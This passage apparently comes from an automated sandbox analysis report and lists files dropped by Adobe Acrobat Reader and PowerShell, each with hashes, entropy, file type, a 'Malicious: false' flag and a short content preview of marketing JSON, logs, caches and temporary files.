SHA1:	AC0C14D108C2718244B9F5B134C818BBC0860913
SHA-256:	DE5BB441FD83B5AB156A17606D12BEF75848C7CD8A3111633A95BCBB5DE5EB0B
SHA-512:	42156F23081A7876B381DB7034C6BACE0E032BD5124F71090785A9D49A707D88B24D365CED2AA8C005FBAB7AB0EF6C2AAFA7400F55B5CB69F522A7264FECC360
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.252692328597992
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJf21rPeUkwRe9:YvXKXcSEdYpW7FwG+16Ukee9
MD5:	15BB3D5083696E9D03318B0DC53408E8
SHA1:	51534A4B3649C2A1376274471F89CC7DC02D12C0
SHA-256:	B3908A7178E3E94BDB52DD04F0FD4A1615DAA4706E08F3D4D1CDC75115154711
SHA-512:	F2CC3830E46D1A7A5DC28F2E228E29E4EF828926616B6F2997EC165AEDC044F59FC6CA479B2A1C81D569D337F7A772E7EB1AC0127EB91AA5227B85CE226B391A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657948403995476
Encrypted:	false
SSDEEP:	24:Yv6XcSdi7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/:Yv6ULBgkDMUJUAh8cvM/
MD5:	278458F9CAD3D87C62DBC78EC121FC91
SHA1:	2D1D186C537B6323D535FEFF80ED0D38D76E9E4D
SHA-256:	0A5B3C776862C6CF751D3A997BCF513DD780782273277559AFF31468CD5AFEDD
SHA-512:	A5DDC13D064F0304CAD95C45BB656B246F543C063B24DC5C4947DB233DD7B3A0AD0FC19596B012469914B14058B4807AACAA1CA7196C5CD1A102B99D599A3046
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2271938134695475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJfshHHrPeUkwRe9:YvXKXcSEdYpW7FwGUUUkee9
MD5:	EF937E09C575233117572176F7B38054
SHA1:	3BCE5BF1D2FE4DECC342B9333207A4E5C8BF5A4B
SHA-256:	1219C45A58AB6AD6A6DEBCF5A4B3492496328150AA4D1F120307E1B0D7DFFCEE
SHA-512:	6380D1A883E173C808457C8E5ACBD2D709BA15CDC0D3E5199A8334CF681702CDECEF4F2295DD09922AF2BBB2F0F1CB438D2C4BE1FA952CE5755D07480E0FBFB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.242251030592319
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcSm5yT+FIbRI6XVW7+0YYPoAvJTqgFCrPeUkwRe9:YvXKXcSEdYpW7FwGTq16Ukee9
MD5:	D617A9EF16FF6D24C2044231AB12A223
SHA1:	4450CF71C4C69BB64927FAEA6BFEBEC1E0284920
SHA-256:	6CFF709F21B0EF7435E2D37347FDF5E1168F61D655BDC7799F045CB90EDAF449
SHA-512:	9A9EBE6D26210EC983069A298C4312315B6D0B52EEDE84B67820E23AB14C5C7A445B14CC0CB22F20D982410326D9AD51BA3482C2CD8EA3829CE7045A71F239A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"abd071da-66f7-4b36-8318-242fee1771cc","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736743564696,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144657795808531
Encrypted:	false
SSDEEP:	24:YgyB18aar3aycPyUfu9GkNv+jOj0Smz3Q7227WB2LSYCZxFiJ15Qwl9V0KXVpu8j:YTOijfuw5w43QK2oSSx4jmwl91v
MD5:	E63010BB30A330E0043EDB4450B8276B
SHA1:	92E3272BF15B7FDD75FE70FA2AB0C1CF5EB33082
SHA-256:	56797437DF04E208FE066C9A88859948DBA17AAABDFED23E0249AD1E69ADAE91
SHA-512:	84648198F8E08C9616B7C6E3EFC692065FC5C0D545E5EAD719F89E4E31DBC8C68FD60AD503A911AB12DA910FCEE0CC0146712744D2847F5266A2F97B00CFB324
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d90c810adc1dd91d257424763ff6d70f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568694000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cec4d5f03be5c2b756567fd763bf6650","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568694000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5abe3456209129cd796d417945d8747e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568694000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2c8ee6142100498bcc37bc3a621e7a51","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568694000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fa9a01076d06c724d28e7f07a4d5c8cd","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568694000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c8e36cbbce93f049ce2189a32ce20477","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.985820692639135
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpFo4zJwtNBwtNbRZ6bRZ4WoF:TVl2GL7ms6ggOVpFrzutYtp6PzU
MD5:	B3DB71C00E29F795CB103E4389FB7687
SHA1:	0D98C6DC33D1C1D5ED92416BFFF3BEE342386DC5
SHA-256:	5FF6CBB3BBF10E0777249950BFCF7827AE26DBEDCA93A1792266C75ACC58EFE5
SHA-512:	E88942D5FF81BB9C79F5E87C64C7ED3E793BA91DE02B6F7E2CA414CC52C73F4A3CD13246CE30D9F0A6D7DE0BF821A291AD98E3EC2BEBFEDB7733FB99D71094A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3390497974167768
Encrypted:	false
SSDEEP:	24:7+t2mAD1RZKHs/Ds/SpFoPzJwtNBwtNbRZ6bRZWf1RZKjqLBx/XYKQvGJF7urso:7M7GgOVpFUzutYtp6PM2qll2GL7mso
MD5:	C66A660B750A966FA76C8C96B1771FE0
SHA1:	E440BE11089B59550843DA9A754512193FCAD40C
SHA-256:	563C51DCC53AEB2D3A34B4937B27A8E228A2795D0BD2890A5981EBA1020FF828
SHA-512:	E7F6A47CCA218509793F5E0759A6D9A6A0586A0D605482EB2EA998119223D82C7D176E337E2F6E4294614D8E8BB3F7CF11F730CF50086F406CA9627F4FD7050C
Malicious:	false
Preview:	.... .c.....2........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEggUx8xP+VgQx7dbH2HAk/lZmYyu:6a6TZ44ADEgUx6QddbWDlQK
MD5:	62781058AA1B368135DEE6C15EA6DE93
SHA1:	B2B1EEB4CB78F8A0D68573FD22E4DC933D56541D
SHA-256:	B3E1D78E55EAEB8EA71653A673D1D7048AA6EDEC6EBEF62040BD9084CC7657AB
SHA-512:	AE28B665D894DA570B0E46DFDA949AC5317FF1FFCC1209F1ABA6C567FBEFE9A71EFE362A0C7D15611FBFF0A4F5DB583AC382589BE98C358E605CC4E98CC3C59B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI47c78.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl3flH:Qw946cPbiOxDlbYnuRK+bWflH
MD5:	16C659139DDD8C2536F174D8186C4827
SHA1:	4D6DB8CF80343526FD89E000DC4D12969E90F315
SHA-256:	618C61F8CDBD4594706BD7528D10C6615665444FB8DF8C303D0F2245D4D016A7
SHA-512:	BF501886D691629C8CDEE0706975DED39BCCB5256DBF1A745E7C2F20343420F8C37BAA1F359B44FAC31E3E9F711E0AC3CB2AAFEB447917F02422681185ED7C25
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.1.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gc54m2t.xun.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_si4vdvup.r1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-11-27-336.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.339471246409176
Encrypted:	false
SSDEEP:	384:/WaDSeHif7woRi/9xLNWEODVwVYVpVkVy9XPx8L1HqyMTAS03sb61lc6F9pMpkyL:UiU2+7+U
MD5:	26591230809E42C40FB8D90D70091B30
SHA1:	C9DABE592710CFA0020A5FB35937704C8A39316E
SHA-256:	9DD511DDA04F4BA256E4ED44B3BF5DD4DA36688CD8CEF3D4EEEC9AC0F476F1AE
SHA-512:	2026E4BB3AD65739DD1ACBC049E3320F7DEDBED9A6D29F6C20DD2A62768C7F614FD0946C268F8C7FFD017E1FE9DE907E2A4CDF1A71D0D563E7C0D51A242D7648
Malicious:	false
Preview:	SessionID=8d8337c3-c7e2-4f8e-bef3-06b2b271bf80.1736568687367 Timestamp=2025-01-10T23:11:27:367-0500 ThreadID=7668 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8d8337c3-c7e2-4f8e-bef3-06b2b271bf80.1736568687367 Timestamp=2025-01-10T23:11:27:384-0500 ThreadID=7668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8d8337c3-c7e2-4f8e-bef3-06b2b271bf80.1736568687367 Timestamp=2025-01-10T23:11:27:384-0500 ThreadID=7668 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8d8337c3-c7e2-4f8e-bef3-06b2b271bf80.1736568687367 Timestamp=2025-01-10T23:11:27:384-0500 ThreadID=7668 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8d8337c3-c7e2-4f8e-bef3-06b2b271bf80.1736568687367 Timestamp=2025-01-10T23:11:27:384-0500 ThreadID=7668 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395202439989077
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb5:eE
MD5:	056C2B14C0E191E143CAF3FA4C76062A
SHA1:	0F0BBA2A4B8FE7CD11EAA757DA0F8F6EE907BBF8
SHA-256:	FEB86F7A347FA059C1FC497050B4CDF4B9427E126DCFB29F6B0845D48A142871
SHA-512:	B87FB59C2709AFF216A0CE8E42340755584346B5AE6EE796698652BB02571795CA597373B995D68224EA6E6233CE523DD1A2130B0B506503709FA7879C2E5FB6
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\71016238-b24f-4f6c-bef2-a00041c9b52c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\71c304a7-ef5a-4cfb-9c21-f5e21aedf3c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9300aeac-e321-4590-b303-9e1b42d2e28a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
